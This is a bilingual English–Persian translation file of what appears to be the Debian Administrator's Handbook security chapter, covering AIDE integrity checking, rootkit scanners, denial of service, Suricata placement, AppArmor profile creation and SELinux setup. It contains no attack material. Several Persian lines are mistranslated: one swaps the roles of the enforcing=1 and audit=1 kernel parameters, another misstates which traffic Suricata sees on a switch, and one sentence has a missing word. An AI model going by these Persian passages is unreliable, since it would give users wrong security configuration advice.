fa-IR: از آنجا که AIDE از یک پایگاه‌داده محلی برای مقایسه حالت‌های یک فایل استفاده می‌کند، اعتبار نتایج آن به طور مستقیم در گرو اعتبار پایگاه‌داده می‌باشد. اگر مهاجم بتواند مجوز root سیستم نفوذ شده را کسب نماید، می‌تواند پایگاه‌داده را جایگزین کرده و رد خود را از بین ببرد. یک راهکار احتمالی ذخیره‌سازی داده مرجع در یک رسانه فقط-خواندنی است.

en: Many options in <filename>/etc/default/aide</filename> can be used to tweak the behavior of the <emphasis role="pkg">aide</emphasis> package. The AIDE configuration proper is stored in <filename>/etc/aide/aide.conf</filename> and <filename>/etc/aide/aide.conf.d/</filename> (actually, these files are only used by <command>update-aide.conf</command> to generate <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> manual page is therefore recommended.
fa-IR: گزینه‌های بسیاری در <filename>/etc/default/aide</filename> وجود دارد که می‌تواند برای تغییر عملکرد بسته <emphasis role="pkg">aide</emphasis> مورد استفاده قرار گیرد. فایل‌های پیکربندی AIDE در <filename>/etc/aide/aide.conf</filename> و <filename>/etc/aide/aide.conf.d/</filename> ذخیره‌سازی شده‌اند (در حقیقت، این فایل‌ها تنها توسط <command>update-aide.conf</command> برای تولید <filename>/var/lib/aide/aide.conf.autogenerated</filename> مورد استفاده قرار می‌گیرند). پیکربندی شامل ویژگی‌های خاص هر فایل می‌باشد که باید مورد بررسی قرار گیرند. برای نمونه، محتوای فایل‌های گزارش به صورت مداوم تغییر می‌یابد و اینگونه تغییرات مادامی که مجوزهای این فایل‌ها تغییر نکند می‌توانند نادیده گرفته شوند، اما هر دو محتوا و مجوزهای برنامه‌های اجرایی باید ثابت باقی بمانند. با اینکه ساختار پیچیده‌ای ندارد، شیوه نگارش پیکربندی آن نیز ساده نیست و مطالعه صفحه راهنمای <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> توصیه می‌گردد.

en: A new version of the database is generated daily in <filename>/var/lib/aide/aide.db.new</filename>; if all recorded changes were legitimate, it can be used to replace the reference database.
fa-IR: یک نسخه جدید از پایگاه‌داده به صورت روزانه در <filename>/var/lib/aide/aide.db.new</filename> تولید می‌شود؛ اگر تمام تغییرات ثبت شده قانونی باشند، می‌تواند جایگزین پایگاه‌داده مرجع شود.

en: <emphasis>ALTERNATIVE</emphasis> Tripwire and Samhain
fa-IR: <emphasis>جایگزین</emphasis> Tripwire و Samhain

en: Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by <emphasis role="pkg">tripwire</emphasis> is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database.
fa-IR: Tripwire بسیار مشابه با AIDE عمل می‌کند؛ حتی شیوه نگارش فایل پیکربندی آن نیز تقریبا یکسان است. قابلیت اضافه‌ای که در <emphasis role="pkg">tripwire</emphasis> وجود دارد مکانیزم امضای فایل پیکربندی است، تا یک مهاجم نتواند آن را به نسخه‌ای دیگر از پایگاه‌داده مرجع اشاره دهد.

en: Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). It can also be deployed globally on a network, and record its traces on a central server (with a signature).
fa-IR: Samhain نیز برخی ویژگی‌های مشابه را فراهم می‌کند، همراه با برخی توابع که می‌توانند در تشخیص rootkitها یاری رسانند (قسمت <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" /> را مشاهده کنید). همچنین می‌تواند به صورت سراسری روی شبکه توزیع گردد و مشاهدات خود را در یک سرور مرکزی ذخیره‌سازی نماید (همراه با یک امضا).

en: <emphasis>QUICK LOOK</emphasis> The <emphasis role="pkg">checksecurity</emphasis> and <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis> packages
fa-IR: <emphasis>نگاه سریع</emphasis> بسته‌های <emphasis role="pkg">checksecurity</emphasis> و <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis>

en: The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure.
fa-IR: اولین بسته شامل چندین اسکریپت کوچک است که با بررسی سیستم (گذرواژه‌های خالی، فایل‌های جدید setuid و از این قبیل) در زمان مناسب به مدیر سیستم هشدار می‌دهد. بر خلاف نام آن، مدیر سیستم نباید برای ایمنی سیستم لینوکس تنها به این بسته متکی باشد.

en: The <emphasis role="pkg">chkrootkit</emphasis> and <emphasis role="pkg">rkhunter</emphasis> packages allow looking for <emphasis>rootkits</emphasis> potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems.
fa-IR: بسته‌های <emphasis role="pkg">chkrootkit</emphasis> و <emphasis role="pkg">rkhunter</emphasis> امکان بررسی <emphasis>rootkit</emphasis> احتمالی نصب شده روی سیستم را می‌دهند. به عنوان یادآوری، این‌ها برنامه‌هایی هستند که با مخفی نگاه داشتن حضور خود از دید سیستم نسبت به کنترل کامل ماشین اقدام می‌کنند. این آزمون‌ها ۱۰۰٪ قابل اطمینان نبوده ولی نقطه شروع مناسبی برای کاوش بین مشکلات احتمالی را برای مدیر سیستم نشان می‌دهند.

en: Detecting Intrusion (IDS/NIDS)
fa-IR: تشخیص نفوذ (IDS/NIDS)

en: <emphasis>BACK TO BASICS</emphasis> Denial of service
fa-IR: <emphasis>بازگشت به مقدمات</emphasis> Denial of Service

en: A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site).
fa-IR: یک حمله “Denial of Service” تنها یک هدف دارد: خارج کردن یک سرویس از دسترسی. خواه این حمله با بارگذاری پرس و جوهای سنگین روی سرور یا آسیب‌پذیری یک باگ صورت گیرد، نتیجه یکسان خواهد بود: سرویس دیگر عملیاتی نخواهد بود. کاربران عادی ناراضی می‌شوند و موجودیتی که از شبکه هدف میزبانی می‌کند اعتبار خود را از دست رفته می‌بیند (و احتمالا سود خود را، در صورتی که یک سایت فروشگاهی آنلاین مد نظر باشد).

en: Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: <acronym>DDoS</acronym> and <acronym>DoS</acronym> (depending on whether the denial of service attack is distributed or not).
fa-IR: چنین حمله‌ای بعضی وقت‌ها به صورت “distributed” انجام می‌شود؛ اینکار با استفاده از منابع مختلف که پرس و جوهای سنگین را روی سرور بارگذاری می‌کنند انجام شده تا سرور نتواند به پرس و جوهای مجاز پاسخ دهد. این گونه حملات عبارت‌های مترادفی را همراه خود دارند: <acronym>DDoS</acronym> و <acronym>DoS</acronym> (بر اساس اینکه حمله به صورت توزیع شده انجام شده است یا خیر).

en: <emphasis>CAUTION</emphasis> Range of action
fa-IR: <emphasis>احتیاط</emphasis> محدوده عملیات

en: The effectiveness of <command>suricata</command> is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting <command>suricata</command> should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic.
fa-IR: میزان اثرگذاری <command>suricata</command> محدود به ترافیک مشاهده شده در رابط شبکه مانیتورینگ است. اگر نتواند ترافیک واقعی را مشاهده کند نمی‌تواند تشخیص مناسبی را انجام دهد. زمان که به یک سوئیچ شبکه متصل می‌شود، تنها حملاتی را مانیتور می‌کند که یکی از ماشین‌های شبکه را هدف قرار گیرند که این مورد مطلوب نظر نیست. ماشینی که از <command>suricata</command> میزبانی می‌کند باید به درگاه “mirror” از سوئیچ متصل شود، که معمولا این درگاه برای تعویض سوئیچ‌ها اختصاص می‌یابد و از این رو می‌تواند تمام ترافیک شبکه را مشاهده کند.

en: <emphasis>GOING FURTHER</emphasis> Integration with <command>prelude</command>
fa-IR: <emphasis>مطالعه بیشتر</emphasis> یکپارچگی با <command>prelude</command>

en: Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the <emphasis>manager</emphasis> in <emphasis role="pkg">prelude-manager</emphasis>) which gathers alerts generated by <emphasis>sensors</emphasis> of various types.
fa-IR: Prelude امکان مانیتورینگ مرکزی از اطلاعات امنیتی را بوجود می‌آورد. معماری ماژولار آن شامل یک سرور (<emphasis>manager</emphasis> در بسته <emphasis role="pkg">prelude-manager</emphasis>) است که هشدارهای تولید شده توسط <emphasis>سنسورهای</emphasis> گوناگون را دریافت می‌کند.

en: Suricata can be configured as such a sensor. Other possibilities include <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) which monitors log files (in a manner similar to <command>logcheck</command>, described in <xref linkend="sect.logcheck" />).
fa-IR: Suricata می‌تواند به عنوان چنین سنسوری پیکربندی شود. سایر احتمالات شامل <emphasis>prelude-lml</emphasis> (یا <emphasis>Log Monitor Lackey</emphasis>) می‌شود که می‌تواند فایل‌های گزارش را مانیتور کند (به شیوه‌ای مشابه با <command>logcheck</command> که در قسمت <xref linkend="sect.logcheck" /> توضیح داده شده است).

en: Introduction to AppArmor
fa-IR: مقدمه‌ای بر AppArmor

en: Principles
fa-IR: اصول

en: AppArmor is a <emphasis>Mandatory Access Control</emphasis> (MAC) system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources.
fa-IR: AppArmor یک سیستم کنترل دسترسی ضروری یا <emphasis>Mandatory Access Control</emphasis> (MAC) است که درون رابط ماژول‌های امنیتی لینوکس یا <emphasis>Linux Security Modules</emphasis> (LSM) پیاده‌سازی شده است. در عمل، کرنل قبل از هر فراخوانی سیستمی از AppArmor پرس و جو می‌کند تا بداند آیا فرآیند مجاز به انجام عملیات مذکور است یا خیر. از طریق این مکانیزم، AppArmor برنامه‌ها را محدود به مجموعه کوچکی از منابع می‌کند.

en: AppArmor profiles are stored in <filename>/etc/apparmor.d/</filename> and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the <command>apparmor_parser</command> command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied.
fa-IR: پروفایل‌های AppArmor در <filename>/etc/apparmor.d/</filename> ذخیره‌سازی شده و شامل فهرستی از قوانین کنترل دسترسی هستند که منابع مختلف را برای هر برنامه مشخص می‌کنند. پروفایل‌ها با استفاده از دستور <command>apparmor_parser</command> کامپایل شده و درون کرنل قرار می‌گیرند. هر پروفایل تنها می‌تواند در یکی از حالت‌های enforcing یا complaining بارگیری شود. اولی با توجه به خط مشی امنیتی، تلاش‌های خرابکارانه را گزارش می‌دهد در صورتی که دومی اجباری در پیروی از خط مشی نداشته ولی فراخوانی‌های سیستمی غیرمجاز را ذخیره‌سازی می‌کند.

en: Enabling AppArmor and managing AppArmor profiles
fa-IR: فعال‌سازی و مدیریت پروفایل‌های AppArmor

en: <emphasis>NOTE</emphasis> More AppArmor profiles
fa-IR: <emphasis>یادداشت</emphasis> پروفایل‌های بیشتر AppArmor

en: The <emphasis role="pkg">apparmor-profiles</emphasis> package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install <emphasis role="pkg">apparmor-profiles-extra</emphasis> which contains profiles developed by Ubuntu and Debian.
fa-IR: بسته <emphasis role="pkg">apparmor-profiles</emphasis> شامل پروفایل‌هایی است که توسط جامعه کاربری AppArmor مدیریت می‌شوند. برای دریافت پروفایل‌های بیشتر می‌توانید بسته <emphasis role="pkg">apparmor-profiles-extra</emphasis> را نصب کرده که شامل پروفایل‌های توسعه‌یافته توسط دبیان و اوبونتو می‌باشند.

en: Creating a new profile
fa-IR: ایجاد یک پروفایل جدید

en: Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses.
fa-IR: با اینکه ایجاد یک پروفایل AppArmor کار ساده‌ای است، اما اکثر برنامه‌ها چنین پروفایلی ندارند. این قسمت به شما نشان می‌دهد که چطور می‌توان یک پروفایل جدید را از ابتدا و با استفاده از برنامه هدف ایجاد کرد تا AppArmor با مانیتور کردن فراخوانی سیستمی به آن بتواند منابع مصرفی‌اش را تحت نظر قرار دهد.

en: The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an <command>aa-unconfined</command> command to list the programs which have no associated profile and which expose an open network socket. With the <literal>--paranoid</literal> option you get all unconfined processes that have at least one active network connection.
fa-IR: مهمترین برنامه‌هایی که باید دسترسی محدود داشته باشند تحت شبکه بوده و آن‌هایی هستند که بیشتر هدف حملات راه‌دور قرار می‌گیرند. به همین دلیل است که AppArmor یک دستور متداول <command>aa-unconfined</command> را فراهم می‌کند تا فهرستی از برنامه‌های تحت شبکه با سوکت باز که پروفایل مشخصی ندارند بدست آید. با گزینه <literal>--paranoid</literal> شما فهرستی از تمام فرآیندهای تعریف نشده که حداقل یک ارتباط فعال شبکه را دارند دریافت می‌کنید.

en: The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice).
fa-IR: اولین رویداد تشخیص داده شده مربوط به اجرای برنامه دیگری است. در این مورد، شما چندین انتخاب دارید: می‌توانید برنامه را با پروفایل فرآیند والد آن (گزینه “Inherit”)، با پروفایل اختصاصی خود (گزینه‌های “Profile” و “Named”، که تنها در شیوه گزینش نام تفاوت دارند)، با پروفایل زیرمجموعه فرآیند والد آن (گزینه “Child”)، بدون پروفایل (گزینه “Unconfined”) اجرا کنید یا می‌توانید تصمیم بگیرید که برنامه اصلا اجرا نشود (گزینه “Deny”).

en: Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run.
fa-IR: به یاد داشته باشید که در صورت انتخاب یک پروفایل اختصاصی و عدم وجود آن، این ابزار پروفایل جدید را برای شما ایجاد کرده و در همان قسمت قوانین پیشنهای را به شما ارائه می‌دهد.

en: At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability.
fa-IR: در سطح کرنل، قدرت ویژه کاربر root به چندین “قابلیت” تقسیم می‌شود. زمانی که یک فراخوانی سیستمی نیازمند ... خاصی است، AppArmor تایید می‌کند آیا پروفایل به برنامه اجازه استفاده از چنین قابلیتی را می‌دهد یا خیر.

en: After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”.
fa-IR: پس از بازرسی تمام رویدادهای ثبت شده، برنامه پیشنهاد می‌دهد که تمام پروفایل‌های ایجاد شده در زمان اجرا ذخیره‌سازی شوند. در این مورد، دو پروفایل داریم که به صورت همزمان با استفاده از “Save” می‌توانیم ذخیره‌سازی کنیم (اما امکان ذخیره‌سازی انفرادی آن‌ها نیز وجود دارد) قبل از اینکه برنامه را با “Finish” به پایان برسانیم.

en: <command>aa-genprof</command> is in fact only a smart wrapper around <command>aa-logprof</command>: it creates an empty profile, loads it in complain mode and then run <command>aa-logprof</command> which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created.
fa-IR: <command>aa-genprof</command> در حقیقت به عنوان یک لایه انتزاعی برای <command>aa-logprof</command> عمل می‌کند: این ابزار یک پروفایل خالی ایجاد کرده، آن را در حالت complain قرار می‌دهد و با اجرای <command>aa-logprof</command>، که ابزاری برای بروزرسانی پروفایل است، محتویات آن را مبتنی با رویدادهای ثبت شده در سیستم برورزسانی می‌کند. بنابراین در زمان دیگری می‌توانید با اجرای این ابزار پروفایل خود را بهینه‌سازی کنید.

en: Introduction to SELinux
fa-IR: مقدمه‌ای بر SELinux

en: SELinux (<emphasis>Security Enhanced Linux</emphasis>) is a <emphasis>Mandatory Access Control</emphasis> system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation.
fa-IR: SELinux که مخفف عبارت <emphasis>Security Enhanced Linux</emphasis> است، یک سیستم <emphasis>Mandatory Access Control</emphasis> مبتنی بر رابط LSM یا <emphasis>Linux Security Modules</emphasis> در لینوکس است. در عمل، کرنل قبل از هر فراخوانی سیستمی از SELinux پرس و جو می‌کند آیا فرآیند جاری مجاز به اجرای عملیات فوق‌الذکر می‌باشد یا خیر.

en: SELinux uses a set of rules — collectively known as a <emphasis>policy</emphasis> — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (<emphasis>targeted</emphasis> and <emphasis>strict</emphasis>) are provided to avoid the bulk of the configuration work.
fa-IR: SELinux از مجموعه قوانین - که بنام <emphasis>policy</emphasis> شناخته می‌شوند - استفاده کرده تا عملیات را مجاز یا ممنوع کند. این قوانین به سختی ایجاد می‌شوند. خوشبختانه، دو خط مشی استاندارد <emphasis>targeted</emphasis> و <emphasis>strict</emphasis> فراهم شده‌اند که طیف گسترده‌ای از کار را بر عهده می‌گیرند.

en: With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its <emphasis>security context</emphasis>. The context is defined by the <emphasis>identity</emphasis> of the user who started the process, the <emphasis>role</emphasis> and the <emphasis>domain</emphasis> that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity.
fa-IR: با استفاده از SELinux، مدیریت دسترسی به شیوه‌ای کاملا متفاوت با سیستم‌های سنتی یونیکس انجام می‌شود. دسترسی یک فرآیند کاملا مبتنی بر <emphasis>زمینه امنیتی</emphasis> آن خواهد بود. این زمینه توسط <emphasis>شناسه</emphasis> کاربری که فرآیند را آغاز کرده است تعریف می‌شود، همراه با <emphasis>نقش</emphasis> و <emphasis>دامنه</emphasis> که کاربر در آن زمان داشته است. این حقوق کاملا مبتنی بر دامنه کار هستند، اما انتقال بین دامنه‌ها توسط نقش‌های کاربری کنترل می‌شود. در نهایت، انتقال‌های احتمالی بین چند نقش مبتنی بر شناسه کاربری خواهد بود.

en: Security contexts and Unix users
fa-IR: زمینه‌های امنیتی و کاربران یونیکس

en: Obviously the rights do not apply to all <emphasis>objects</emphasis> (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a <emphasis>type</emphasis> (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type).
fa-IR: به طور مشخص این دسترسی‌ها به تمام <emphasis>اشیا</emphasis> متعلق نیستند (فایل‌ها، دایرکتوری‌ها، سوکت‌ها، دستگاه‌ها و از این قبیل). می‌توانند از هر شی به دیگری متفاوت باشند. برای دستیابی به این منظور، هر شی به یک <emphasis>نوع</emphasis> اختصاص می‌یابد (اینکار بنام برچسب‌گذاری شناخته می‌شود). دسترسی‌های یک دامنه توسط مجموعه‌ای از عمیات (غیر)مجاز روی این انواع بیان می‌شوند (و به طور غیرمستقیم، روی تمام اشیایی که با این نوع برچسب‌گذاری شده‌اند).

en: <emphasis>EXTRA</emphasis> Domains and types are equivalent
fa-IR: <emphasis>اضافی</emphasis> دامنه‌ها و انواع برابر هستند

en: By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example <command>ssh</command> is labeled with <literal>ssh_exec_t</literal>, and when the program starts, it automatically switches to the <literal>ssh_t</literal> domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux.
fa-IR: به صورت پیشفرض، یک برنامه دامنه خود را از کاربری که فرآیند را آغاز کرده است به ارث می‌برد، اما خطی مشی استاندارد SELinux انتظار دارد که برنامه‌های مهم در دامنه‌های اختصاصی اجرا شوند. برای دستیابی به این منظور، آن برنامه‌های اجرایی همراه با یک نوع اختصاصی برچسب‌گذاری می‌شوند (برای نمونه <command>ssh</command> توسط <literal>ssh_exec_t</literal> برچسب‌گذاری شده و زمانی که برنامه آغاز شود به صورت خودکار به دامنه <literal>ssh_t</literal> تغییر می‌یابد). این مکانیزم خودکار انتقال دامنه امکان اختصاص دسترسی‌های لازم برای هر بر نامه را فراهم می‌کند. این یک اصل پایه در SELinux به حساب می‌آید.

en: Automatic transitions between domains
fa-IR: انتقال خودکار بین دامنه‌ها

en: <emphasis>IN PRACTICE</emphasis> Finding the security context
fa-IR: <emphasis>در عمل</emphasis> یافتن زمینه امنیتی

en: <primary>context, security context</primary>
fa-IR: <primary>زمینه، زمینه امنیتی</primary>

en: To find the current security context in a shell, you should call <command>id -Z</command>.
fa-IR: برای یافتن زمینه امنیتی در یک پوسته، باید <command>id -Z</command> را فراخوانی کنید.

en: To find the security context of a given process, you should use the <literal>Z</literal> option of <command>ps</command>.
fa-IR: برای یافتن زمینه امنیتی یک فرآیند، باید از گزینه <literal>Z</literal> دستور <command>ps</command> استفاده کنید.

en: The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (<emphasis>Multi-Category Security</emphasis>) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book.
fa-IR: فیلد اول شامل شناسه، نقش، دامنه و سطح MCS است که با کاما جدا شده‌اند. سطح MCS یا <emphasis>Multi-Category Security</emphasis> پارامتری است که در برپایی محرمانگی از محافظت خط مشی دخالت دارد، که دسترسی به فایل‌ها را مبتنی بر میزان حساسیت آن‌ها کنترل می‌کند. این ویژگی در کتاب توضیح داده نمی‌شود.

en: Finally, to find the type assigned to a file, you can use <command>ls -Z</command>.
fa-IR: در نهایت، برای یافتن نوع اختصاص یافته به یک فایل، می‌توانید از <command>ls -Z</command> استفاده کنید.

en: It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context.
fa-IR: شایان ذکر است که شناسه و نقش اختصاص یافته به یک فایل از اهمیت خاصی برخوردار نیستند (هیچگاه استفاده نمی‌شوند)، اما به دلیل یکنواخت بودن، تمام اشیا شامل زمینه امنیتی کاملی خواهند بود.

en: Setting Up SELinux
fa-IR: راه‌اندازی SELinux

en: SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux.
fa-IR: پشتیبانی از SELinux درون کرنل‌های استاندارد دبیان قرار دارد. ابزار اصلی یونیکس از SELinux بدون کوچک‌ترین تغییری پشتیبانی می‌کنند. بنابراین فعال‌سازی SELinux کار به نسبت ساده‌ای است.

en: The <emphasis role="pkg">selinux-policy-default</emphasis> package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the <literal>unconfined</literal> module (modules management is detailed further in this section).
fa-IR: بسته <emphasis role="pkg">selinux-policy-default</emphasis> شامل مجموعه قوانین استاندارد است. به صورت پیشفرض، این خط مشی تنها دسترسی به برخی سرویس‌های مشخص را محدود می‌کند. نشست‌های سمت کاربر محدود نیستند و از این رو بعید بنظر می‌رسد که SELinux عملیات مرتبط با کاربران مجاز را مسدود سازد. با این حال، اینکار منجر به بهبود امنیت سرویس‌های سیستمی می‌شود. برای راه‌انداری خط مشی که برابر با قوانین “strict” قدیمی باشد، تنها باید ماژول <literal>unconfined</literal> را غیرفعال کنید (مدیریت ماژول‌ها در ادامه آورده می‌شود).

en: Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with <command>fixfiles relabel</command>.
fa-IR: زمانی که خط مشی مشخص گردد، باید تمام فایل‌های موجود را برچسب‌گذاری کنید (به این معنی که یک نوع به آن‌ها اختصاص دهید). این عملیات باید به صورت دستی توسط <command>fixfiles relabel</command> صورت پذیرد.

en: The SELinux system is now ready. To enable it, you should add the <literal>selinux=1 security=selinux</literal> parameter to the Linux kernel. The <literal>audit=1</literal> parameter enables SELinux logging which records all the denied operations. Finally, the <literal>enforcing=1</literal> parameter brings the rules into application: without it SELinux works in its default <emphasis>permissive</emphasis> mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the <literal>GRUB_CMDLINE_LINUX</literal> variable in <filename>/etc/default/grub</filename> and to run <command>update-grub</command>. SELinux will be active after a reboot.
fa-IR: اکنون سیستم SELinux آماده است. برای فعال‌سازی آن، باید پارامتر <literal>selinux=1 security=selinux</literal> را به کرنل لینوکس اضافه کنید. پارامتر <literal>enforcing=1</literal> امکان ثبت گزارش در SELinux که تمام عملیات غیرمجاز را ثبت می‌کند. در نهایت، پارامتر <literal>audit=1</literal> قوانین را برای برنامه‌ها اجرایی می‌کند: بدون این پارامتر SELinux در حالت پیشفرض <emphasis>permissive</emphasis> خود فعالیت کرده به صورتی که عملیات غیرمجاز ثبت شده ولی هنوز اجرا می‌شوند. برای افزودن پارامترهای مورد نیاز باید فایل پیکربندی راه‌انداز GRUB را تغییر دهید. یک روش ساده برای اینکار تغییر متغیر <literal>GRUB_CMDLINE_LINUX</literal> در <filename>/etc/default/grub</filename> و اجرای <command>update-grub</command> است. SELinux پس از راه‌اندازی مجدد سیستم فعال‌سازی می‌شود.

en: It is worth noting that the <command>selinux-activate</command> script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on).
fa-IR: شایان ذکر است که اسکریپت <command>selinux-activate</command> این عملیات را خودکارسازی کرده و در راه‌اندازی بعدی عملیات برچسب‌گذاری را انجام می‌دهد (که این عمل از ایجاد فایل‌های برچسب‌گذاری نشده در زمان غیرفعال بودن SELinux و زمانی که عملیات برچسب‌گذاری انجام می‌شود، پیشگیری می‌کند).

en: Managing an SELinux System
fa-IR: مدیریت یک سیستم SELinux

en: The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the <command>semodule</command> command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the <command>semanage</command> command.
fa-IR: خط مشی SELinux مجموعه‌ای از قوانین ماژولار است که نصب آن با شناسایی و فعال‌سازی خودکار تمام ماژول‌های مبتنی بر سرویس‌های نصب شده فعالیت می‌کند. از این رو سیستم بلافاصله قابل استفاده است. با این حال، زمانی که یک سرویس پس از خط مشی SELinux نصب می‌شود، باید قادر باشید تا ماژول مرتبط با آن را فعال‌سازی کنید. هدف دستور <command>semodule</command> نیز همین است. علاوه بر این، باید بتوانید نقش‌های مورد نیاز هر کاربر را تعریف کنید که اینکار با استفاده از دستور <command>semanage</command> انجام می‌شود.

en: Those two commands can thus be used to modify the current SELinux configuration, which is stored in <filename>/etc/selinux/default/</filename>. Unlike other configuration files that you can find in <filename>/etc/</filename>, all those files must not be changed by hand. You should use the programs designed for this purpose.
fa-IR: این دو دستور می‌توانند به منظور تغییر پیکربندی SELinux، که در <filename>/etc/selinux/default/</filename> ذخیره‌سازی شده است، بکار روند. برخلاف تمام فایل‌های پیکربندی که می‌توانید در <filename>/etc/</filename> پیدا کنید، این فایل‌ها نباید به صورت دستی تغییر یابند. باید از برنامه‌های مخصوص برای تغییر آن‌ها استفاده کنید.

en: <emphasis>GOING FURTHER</emphasis> More documentation
fa-IR: <emphasis>مطالعه بیشتر</emphasis> مستندات بیشتر

en: Managing SELinux Modules
fa-IR: مدیریت ماژول‌های SELinux

en: Available SELinux modules are stored in the <filename>/usr/share/selinux/default/</filename> directory. To enable one of these modules in the current configuration, you should use <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. The <emphasis>pp.bz2</emphasis> extension stands for <emphasis>policy package</emphasis> (compressed with bzip2).
fa-IR: ماژول‌های موجود SELinux درون دایرکتوری <filename>/usr/share/selinux/default/</filename> قرار دارند. برای فعال‌سازی یکی از این ماژول‌ها در پیکربندی فعلی، باید از <command>semodule -i <replaceable>module.pp.bz2</replaceable></command> استفاده کنید. پسوند <emphasis>pp.bz2</emphasis> مخفف عبارت <emphasis>policy package</emphasis> است (که توسط bzip2 فشرده‌سازی شده است).

en: Removing a module from the current configuration is done with <command>semodule -r <replaceable>module</replaceable></command>. Finally, the <command>semodule -l</command> command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with <command>semodule -e</command> and disabled with <command>semodule -d</command>.
fa-IR: حذف یک ماژول از پیکربندی موجود با استفاده از <command>semodule -r <replaceable>module</replaceable></command> صورت می‌پذیرد. در نهایت، دستور <command>semodule -l</command> فهرستی از تمام ماژول‌های نصب شده را نشان می‌دهد. همچنین شماره نسخه را نیز نمایش می‌دهد. ماژول‌ها می‌توانند توسط <command>semodule -e</command> فعال یا <command>semodule -d</command> غیرفعال شوند.

en: <command>semodule</command> immediately loads the new configuration unless you use its <literal>-n</literal> option. It is worth noting that the program acts by default on the current configuration (which is indicated by the <literal>SELINUXTYPE</literal> variable in <filename>/etc/selinux/config</filename>), but that you can modify another one by specifying it with the <literal>-s</literal> option.
